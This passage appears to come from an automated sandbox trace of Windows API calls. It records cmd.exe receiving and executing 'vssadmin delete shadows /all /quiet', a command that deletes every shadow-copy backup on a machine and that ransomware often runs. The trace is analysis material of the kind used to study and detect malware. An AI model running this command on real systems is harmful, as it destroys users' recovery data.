dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.401] ReadFile (in: hFile=0xe8, lpBuffer=0x4a1fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesRead=0x2cfad8*=0x1, lpOverlapped=0x0) returned 1 [0206.401] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a1fc320, cbMultiByte=1, lpWideCharStr=0x4a1fe344, cchWideChar=1 | out: lpWideCharStr="a1251\n") returned 1 [0206.401] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.401] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.401] ReadFile (in: hFile=0xe8, lpBuffer=0x4a1fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesRead=0x2cfad8*=0x1, lpOverlapped=0x0) returned 1 [0206.401] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a1fc320, cbMultiByte=1, lpWideCharStr=0x4a1fe346, cchWideChar=1 | out: lpWideCharStr="d251\n") returned 1 [0206.402] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.402] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.402] ReadFile (in: hFile=0xe8, lpBuffer=0x4a1fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesRead=0x2cfad8*=0x1, lpOverlapped=0x0) returned 1 [0206.402] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a1fc320, cbMultiByte=1, lpWideCharStr=0x4a1fe348, cchWideChar=1 | out: lpWideCharStr="o51\n") returned 1 [0206.402] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.402] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.402] ReadFile (in: hFile=0xe8, lpBuffer=0x4a1fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesRead=0x2cfad8*=0x1, lpOverlapped=0x0) returned 1 [0206.403] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a1fc320, cbMultiByte=1, lpWideCharStr=0x4a1fe34a, cchWideChar=1 | out: lpWideCharStr="w1\n") returned 1 [0206.403] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.403] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.403] ReadFile (in: hFile=0xe8, lpBuffer=0x4a1fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesRead=0x2cfad8*=0x1, lpOverlapped=0x0) returned 1 [0206.403] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a1fc320, cbMultiByte=1, lpWideCharStr=0x4a1fe34c, cchWideChar=1 | out: lpWideCharStr="s\n") returned 1 [0206.403] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.403] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.403] ReadFile (in: hFile=0xe8, lpBuffer=0x4a1fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesRead=0x2cfad8*=0x1, lpOverlapped=0x0) returned 1 [0206.404] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a1fc320, cbMultiByte=1, lpWideCharStr=0x4a1fe34e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0206.404] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.404] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.404] ReadFile (in: hFile=0xe8, lpBuffer=0x4a1fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesRead=0x2cfad8*=0x1, lpOverlapped=0x0) returned 1 [0206.404] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a1fc320, cbMultiByte=1, lpWideCharStr=0x4a1fe350, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0206.404] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.404] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.405] ReadFile (in: hFile=0xe8, lpBuffer=0x4a1fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesRead=0x2cfad8*=0x1, lpOverlapped=0x0) returned 1 [0206.405] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a1fc320, cbMultiByte=1, lpWideCharStr=0x4a1fe352, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0206.405] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.405] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.405] ReadFile (in: hFile=0xe8, lpBuffer=0x4a1fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesRead=0x2cfad8*=0x1, lpOverlapped=0x0) returned 1 [0206.405] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a1fc320, cbMultiByte=1, lpWideCharStr=0x4a1fe354, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0206.405] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.406] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.406] ReadFile (in: hFile=0xe8, lpBuffer=0x4a1fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesRead=0x2cfad8*=0x1, lpOverlapped=0x0) returned 1 [0206.406] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a1fc320, cbMultiByte=1, lpWideCharStr=0x4a1fe356, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0206.406] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.406] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.407] ReadFile (in: hFile=0xe8, lpBuffer=0x4a1fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesRead=0x2cfad8*=0x1, lpOverlapped=0x0) returned 1 [0206.407] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a1fc320, cbMultiByte=1, lpWideCharStr=0x4a1fe358, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0206.407] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.408] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.408] ReadFile (in: hFile=0xe8, lpBuffer=0x4a1fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesRead=0x2cfad8*=0x1, lpOverlapped=0x0) returned 1 [0206.408] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a1fc320, cbMultiByte=1, lpWideCharStr=0x4a1fe35a, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0206.408] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.408] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.408] ReadFile (in: hFile=0xe8, lpBuffer=0x4a1fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesRead=0x2cfad8*=0x1, lpOverlapped=0x0) returned 1 [0206.409] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a1fc320, cbMultiByte=1, lpWideCharStr=0x4a1fe35c, cchWideChar=1 | out: lpWideCharStr="q") returned 1 [0206.409] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.409] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.409] ReadFile (in: hFile=0xe8, lpBuffer=0x4a1fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesRead=0x2cfad8*=0x1, lpOverlapped=0x0) returned 1 [0206.409] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a1fc320, cbMultiByte=1, lpWideCharStr=0x4a1fe35e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0206.409] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.409] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.410] ReadFile (in: hFile=0xe8, lpBuffer=0x4a1fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesRead=0x2cfad8*=0x1, lpOverlapped=0x0) returned 1 [0206.410] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a1fc320, cbMultiByte=1, lpWideCharStr=0x4a1fe360, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0206.410] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.410] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.410] ReadFile (in: hFile=0xe8, lpBuffer=0x4a1fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesRead=0x2cfad8*=0x1, lpOverlapped=0x0) returned 1 [0206.410] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a1fc320, cbMultiByte=1, lpWideCharStr=0x4a1fe362, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0206.411] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.411] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.411] ReadFile (in: hFile=0xe8, lpBuffer=0x4a1fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesRead=0x2cfad8*=0x1, lpOverlapped=0x0) returned 1 [0206.411] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a1fc320, cbMultiByte=1, lpWideCharStr=0x4a1fe364, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0206.411] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.411] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.411] ReadFile (in: hFile=0xe8, lpBuffer=0x4a1fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesRead=0x2cfad8*=0x1, lpOverlapped=0x0) returned 1 [0206.412] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a1fc320, cbMultiByte=1, lpWideCharStr=0x4a1fe366, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0206.412] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.412] GetFileType (hFile=0xe8) returned 0x3 [0206.412] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.412] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.412] _get_osfhandle (_FileHandle=1) returned 0xf4 [0206.412] GetFileType (hFile=0xf4) returned 0x3 [0206.412] _get_osfhandle (_FileHandle=1) returned 0xf4 [0206.412] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x4a1fc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37 [0206.413] WriteFile (in: hFile=0xf4, lpBuffer=0x4a1fc320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x2cfab8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesWritten=0x2cfab8*=0x24, lpOverlapped=0x0) returned 1 [0206.413] GetProcessHeap () returned 0x3f0000 [0206.413] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4012) returned 0x411010 [0206.414] GetProcessHeap () returned 0x3f0000 [0206.414] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x411010 | out: hHeap=0x3f0000) returned 1 [0206.415] GetProcessHeap () returned 0x3f0000 [0206.415] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb0) returned 0x409840 [0206.415] GetProcessHeap () returned 0x3f0000 [0206.415] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x22) returned 0x404630 [0206.417] GetProcessHeap () returned 0x3f0000 [0206.417] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x48) returned 0x410090 [0206.418] GetConsoleOutputCP () returned 0x4e3 [0206.695] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4a1fbfe0 | out: lpCPInfo=0x4a1fbfe0) returned 1 [0206.695] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0206.696] GetConsoleTitleW (in: lpConsoleTitle=0x2cfa70, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0206.697] GetProcessHeap () returned 0x3f0000 [0206.697] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x218) returned 0x40aae0 [0206.697] GetProcessHeap () returned 0x3f0000 [0206.697] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5a) returned 0x409a50 [0206.697] GetProcessHeap () returned 0x3f0000 [0206.697] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x420) returned 0x40b9a0 [0206.697] SetErrorMode (uMode=0x0) returned 0x0 [0206.697] SetErrorMode (uMode=0x1) returned 0x0 [0206.698] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x40b9b0, lpFilePart=0x2cf300 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x2cf300*="system32") returned 0x13 [0206.698] SetErrorMode (uMode=0x0) returned 0x1 [0206.698] GetProcessHeap () returned 0x3f0000 [0206.698] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x0, Ptr=0x40b9a0, Size=0x4a) returned 0x40b9a0 [0206.698] GetProcessHeap () returned 0x3f0000 [0206.698] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40b9a0) returned 0x4a [0206.698] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a1ef360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0206.698] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0206.699] GetProcessHeap () returned 0x3f0000 [0206.699] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x104) returned 0x405bb0 [0206.699] GetProcessHeap () returned 0x3f0000 [0206.699] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x1f8) returned 0x40ba00 [0206.699] GetProcessHeap () returned 0x3f0000 [0206.699] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x0, Ptr=0x40ba00, Size=0x106) returned 0x40ba00 [0206.699] GetProcessHeap () returned 0x3f0000 [0206.699] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40ba00) returned 0x106 [0206.699] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a1ef360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0206.699] GetProcessHeap () returned 0x3f0000 [0206.699] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xe8) returned 0x409c60 [0206.699] GetProcessHeap () returned 0x3f0000 [0206.699] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x0, Ptr=0x409c60, Size=0x7e) returned 0x409c60 [0206.700] GetProcessHeap () returned 0x3f0000 [0206.700] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x409c60) returned 0x7e [0206.700] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0206.700] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x2cf070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2cf070) returned 0x405cc0 [0206.700] FindClose (in: hFindFile=0x405cc0 | out: hFindFile=0x405cc0) returned 1 [0206.701] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x2cf070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2cf070) returned 0xffffffffffffffff [0206.701] GetLastError () returned 0x2 [0206.701] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x2cf070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2cf070) returned 0x411040 [0206.701] FindClose (in: hFindFile=0x411040 | out: hFindFile=0x411040) returned 1 [0206.701] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0206.702] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0206.702] GetConsoleTitleW (in: lpConsoleTitle=0x2cf5c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0206.702] GetProcessHeap () returned 0x3f0000 [0206.702] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x21c) returned 0x40bb20 [0206.702] GetConsoleTitleW (in: lpConsoleTitle=0x40bb30, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0206.703] GetProcessHeap () returned 0x3f0000 [0206.704] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x0, Ptr=0x40bb20, Size=0xa2) returned 0x40bb20 [0206.704] GetProcessHeap () returned 0x3f0000 [0206.704] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40bb20) returned 0xa2 [0206.704] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\cmd.exe - vssadmin delete shadows /all /quiet") returned 1 [0206.706] GetProcessHeap () returned 0x3f0000 [0206.706] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40bb20 | out: hHeap=0x3f0000) returned 1 [0206.706] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cf378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cf338 | out: lpAttributeList=0x2cf378, lpSize=0x2cf338) returned 1 [0206.706] UpdateProcThreadAttribute (in: lpAttributeList=0x2cf378, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cf328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cf378, lpPreviousValue=0x0) returned 1 [0206.706] GetStartupInfoW (in: lpStartupInfo=0x2cf490 | out: lpStartupInfo=0x2cf490*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4)) [0206.707] GetProcessHeap () returned 0x3f0000 [0206.707] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x404660 [0206.707] _wcsnicmp (_String1="COPYCMD", _String2="=::=::\\", _MaxCount=0x7) returned 38 [0206.707] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0206.707] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0206.707] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0206.707] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0206.707] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0206.707] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0206.707] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0206.707] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0206.707] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0206.707] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0206.708] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0206.708] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0206.708] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0206.708] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0206.708] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0206.708] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0206.708] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0206.708] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0206.708] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0206.708] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0206.708] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0206.709] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0206.709] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0206.709] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0206.709] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0206.709] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0206.709] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0206.709] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0206.709] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0206.709] _wcsnicmp (_String1="COPYCMD", _String2="SESSION", _MaxCount=0x7) returned -16 [0206.709] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0206.709] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0206.709] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0206.709] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0206.710] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0206.710] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0206.710] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0206.710] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0206.710] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0206.710] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0206.710] GetProcessHeap () returned 0x3f0000 [0206.710] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x404660 | out: hHeap=0x3f0000) returned 1 [0206.710] GetProcessHeap () returned 0x3f0000 [0206.710] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x12) returned 0x409ac0 [0206.710] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\vssadmin.exe", lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Windows\\system32", lpStartupInfo=0x2cf3b0*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="vssadmin delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cf360 | out: lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessInformation=0x2cf360*(hProcess=0x50, hThread=0x54, dwProcessId=0x6d0, dwThreadId=0x6d4)) returned 1 [0206.729] CloseHandle (hObject=0x54) returned 1 [0206.729] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0206.729] GetProcessHeap () returned 0x3f0000 [0206.730] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40f4e0 | out: hHeap=0x3f0000) returned 1 [0206.730] GetEnvironmentStringsW () returned 0x4089c0* [0206.730] GetProcessHeap () returned 0x3f0000 [0206.730] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb22) returned 0x40e9b0 [0206.730] FreeEnvironmentStringsW (penv=0x4089c0) returned 1 [0206.730] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x2cec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2cec68, ReturnLength=0x0) returned 0x0 [0206.730] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffdb000, lpBuffer=0x2ceca0, nSize=0x380, lpNumberOfBytesRead=0x2cec60 | out: lpBuffer=0x2ceca0*, lpNumberOfBytesRead=0x2cec60*=0x380) returned 1 